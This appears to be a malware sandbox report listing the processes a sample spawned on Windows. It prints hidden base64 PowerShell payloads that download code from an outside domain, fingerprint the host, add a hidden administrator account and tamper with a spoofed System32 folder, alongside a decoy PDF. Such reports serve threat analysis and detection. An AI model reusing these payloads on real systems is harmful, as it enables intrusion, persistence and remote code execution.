lAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBrAGkAbgBnAHMAbQBhAGsAZQByAC4AYwBhAC8AZgBpAGwAZQAyAC8AOQBhAGUAYQA4AGIAZgA4ADMAMwBjADgANwA3ADAAOQA1ADkAZABiADcAYwA3ADIAOABmADQAYwBjAGQAYwBmAGMAOABmADQAZQA5ADMAMABhAGYANABkAGQANAA0AGUANgA1ADIAMQAzAGIAOQBiADQAYQA0ADcAOABlADUAZgA4ADYAZABjADEAMQA5AGEAMAA4ADEAMAAxADkANABhADkAMAA4ADcANAA0ADAAYgA3ADkAMAAzADgAMgBlAGIANwAxADEANQBhADkAZAA2AGEAMwAzAGIAYwAwADIAMAAyADgAZQA1ADUANgA3ADgAYQBiAGUAMAAyAGEAZAA0ADUAZAA0ADgAZQA5AGEAZgBhADkAMwBhAGYAOAAzADcANQAzADEAZQAzADUAYgAxAGMAOAA4AGUANgBiAGYAYwBhAGYAYQAyADcAZAA4ADIAZQBlADIANAA0ADIAMAAzAGIAOAA2AGEANgA1ADAAYQBjAGYAMwAzADQANgAwADYANwA2AGUAMQA5AGUANABkADUAMABjAGMAYgBmADcAYgA3ADkANQA1ADcANQBiADQAOAAxAGUAYwA0AGQANAAzACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD0AIAAwADsAIAAkAG
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1640,i,3827613788604164973,16570324060737395036,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: unknown	Process created: C:\Windows\Temp\svczHost.exe C:\Windows\Temp\svczHost.exe cakoi7 kingsmaker.ca
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\plizasuj\plizasuj.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBrAGkAbgBnAHMAbQBhAGsAZQByAC4AYwBhAC8AZgBpAGwAZQAyAC8AOQBhAGUAYQA4AGIAZgA4ADMAMwBjADgANwA3ADAAOQA1ADkAZABiADcAYwA3ADIAOABmADQAYwBjAGQAYwBmAGMAOABmADQAZQA5ADMAMABhAGYANABkAGQANAA0AGUANgA1ADIAMQAzAGIAOQBiADQAYQA0ADcAOABlADUAZgA4ADYAZABjADEAMQA5AGEAMAA4ADEAMAAxADkANABhADkAMAA4ADcANAA0ADAAYgA3ADkAMAAzADgAMgBlAGIANwAxADEANQBhADkAZAA2AGEAMwAzAGIAYwAwADIAMAAyADgAZQA1ADUANgA3ADgAYQBiAGUAMAAyAGEAZAA0ADUAZAA0ADgAZQA5AGEAZgBhADkAMwBhAGYAOAAzADcANQAzADEAZQAzADUAYgAxAGMAOAA4AGUANgBiAGYAYwBhAGYAYQAyADcAZAA4ADIAZQBlADIANAA0ADIAMAAzAGIAOAA2AGEANgA1ADAAYQBjAGYAMwAzADQANgAwADYANwA2AGUAMQA5AGUANABkADUAMABjAGMAYgBmADcAYgA3ADkANQA1ADcANQBiADQAOAAxAGUAYwA0AGQANAAzACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES9F33.tmp" "c:\Users\user\AppData\Local\Temp\plizasuj\CSCCBC46C10AB9F47138B8378156B25D455.TMP"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\Company Booklet.pdf"	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBrAGkAbgBnAHMAbQBhAGsAZQByAC4AYwBhAC8AZgBpAGwAZQAyAC8AOQBhAGUAYQA4AGIAZgA4ADMAMwBjADgANwA3ADAAOQA1ADkAZABiADcAYwA3ADIAOABmADQAYwBjAGQAYwBmAGMAOABmADQAZQA5ADMAMABhAGYANABkAGQANAA0AGUANgA1ADIAMQAzAGIAOQBiADQAYQA0ADcAOABlADUAZgA4ADYAZABjADEAMQA5AGEAMAA4ADEAMAAxADkANABhADkAMAA4ADcANAA0ADAAYgA3ADkAMAAzADgAMgBlAGIANwAxADEANQBhADkAZAA2AGEAMwAzAGIAYwAwADIAMAAyADgAZQA1ADUANgA3ADgAYQBiAGUAMAAyAGEAZAA0ADUAZAA0ADgAZQA5AGEAZgBhADkAMwBhAGYAOAAzADcANQAzADEAZQAzADUAYgAxAGMAOAA4AGUANgBiAGYAYwBhAGYAYQAyADcAZAA4ADIAZQBlADIANAA0ADIAMAAzAGIAOAA2AGEANgA1ADAAYQBjAGYAMwAzADQANgAwADYANwA2AGUAMQA5AGUANABkADUAMABjAGMAYgBmADcAYgA3ADkANQA1ADcANQBiADQAOAAxAGUAYwA0AGQANAAzACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAI